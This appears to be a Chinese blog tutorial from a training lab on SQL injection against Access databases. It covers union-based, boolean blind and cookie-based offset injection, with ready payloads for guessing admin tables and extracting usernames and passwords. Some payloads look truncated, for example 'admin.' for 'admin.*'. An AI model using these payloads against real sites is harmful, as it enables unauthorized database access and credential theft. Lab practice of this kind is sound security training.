目录
前言
正文
0x01 :access数据库介绍
0x02 :Access——union注入
1)猜表
2)猜字段(查数据)
0x02 Access——逐字猜解注入
1)猜表
2)猜字段
3)判断长度
4)查询数据
0x03:Access —— 偏移注入
第一步
第二步
第三步
文末
我前面写的大部分都是基于MySQL数据库下的注入,然而在其他数据库也是可以使用的
本章章取材来自 墨者学院靶场
这只是个简单的介绍,access里不存在库这个概念,所以是直接查表,然而表没有自带的,所以只能进行爆破
就是猜,全靠猜~~~
因为Access没有库,所以只能直接使用order by 来判断字段数
这里我判断后,字段为4。于是直接写了 payload
http://219.153.49.228:49151/new_list.asp?id=1 and 1=2 union select 1,2,3,4 from admin
可能会问admin怎么知道的,其实就是猜的,也可以收集一些常用的表名,然后burp抓包进行爆破
一般user,admin 等等比较多
根据上面已经猜解出了admin表,然而这也是我们想要的
然后就是猜解字段,没错,字段也是要猜的~~~
字段常用的,user,admin,username,password,pwd,name,passwd
猜一猜,敲了猜到了是username,靶场总不会太难的。在实战中,就不一样了
?id=1 and 1=2 union select 1,username,3,4 from admin
但是这边我们有 2 个回显点,2和3.所以可以再3这边猜密码
经过一系列的猜解
?id=1 and 1=2 union select 1,username,passwd,4 from admin
最后密码为passwd
然后union注入就这样了。靶场简单,但是实战中就不一样了,能猜到表名就运气好了,能猜到字段名,运气就炸天了
这里涉及到了个新函数
exists():校验是否存在数据,存在则页面正常,不存在则页面报错
可以看看这里的一篇文章
这时候 我们构造payload
?id=1 and exists(select * from admin)
如果admin这个表存在的话,则返回正常页面
如果不存在的话,返回错误页面。通过查看下面两图就知道了
admin表存在
猜字段名的话也就是按照SQL语句一样
select 字段 from 表
所以我们猜测字段为username(不要问我为什么,上面union注入已经弄了一遍了~)
?id=1 and exists(select username from admin)
这时候发现页面正常,这时候我们就要爆数据了
这个其实跟盲注差不多手法(这里我突然想写个脚本了~)
首先判断第一条数据长度
?id=1 and (select top 1 len(username) from admin)=4
这时候页面回显正常,当等于5的时候错误,说明为长度为4
这时候就可以查询数据了
and (select top 1 asc(mid(username,1,1)) from admin)=109
top 1 就是取前 1 条数据
top 3就是取前3 条数据
mid(字段,截取第几位,1)
然后对照下ascii表,发现为m
然后猜解第二位,发现页面正常,队友ascii表。发现为o
?id=1 and (select top 1 asc(mid(username,2,1)) from admin)=111
于是这样依次下来,就得知 username中的字段为 moke,然后继续爆破
也就得出了密码
接下来就开始进行偏移注入了
先判断下最简单的显错注入,结果被过滤了
那就进行偏移注入(表名爆破下就好了,这个是靶场,所以知道表名)
document.cookie=”id=”+escape(“171”)
看看页面是不是正常,结果显示正常
开始判断下回显点
document.cookie=”id=”+escape(“171 order by 10”)
结果发现10正常显示,11报错
因为这个是access数据库,所以忽略表名~~~~
document.cookie=”id=”+escape(“171 union select 1,2,3,4,5,6,7,8,9,10 from admin”)
直接看回显点,这里表名是必须知道了,不知道的话可以下载个常用表名字典
然后用burp跑包爆破
然后可以看到了回显点有2,3,7,8,9
结果发现这个171的不行……(尴尬)
略过前面,找那个产品中心的,id=105进行
然后发现105的有26个字段
再次进行偏移注入document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")
再从右开始,删除掉占位符,admin.来代替
`document.cookie=”id=”+escape(“105 union select 1,2,3,4,5,6,7,8,9,10,admin. from admin”)`
发现页面回显正确
然后就一直移动
找到这个回显就可以保留,然后再admin.带入
document.cookie=”id=”+escape(“105 union select 1,2,3,4,8,9,11,12,13,admin.,15 from admin”)
不会讲,就差不多这样
table_name.代替了这个表的所有字段 (如 admin. 表名.*)
输出点,有些藏在HTML源码中
偏移注入用于字段表名无法字段字段名情况
偏移找到一个注入点,并且注入点字段数越多越好
偏移注入是之前写的,因为偏移注入太麻烦了,就直接复制了一下
实战中也是会遇到这种的偏移注入,我也是偶尔会遇到~~~~~
有空再发脚本,嘿嘿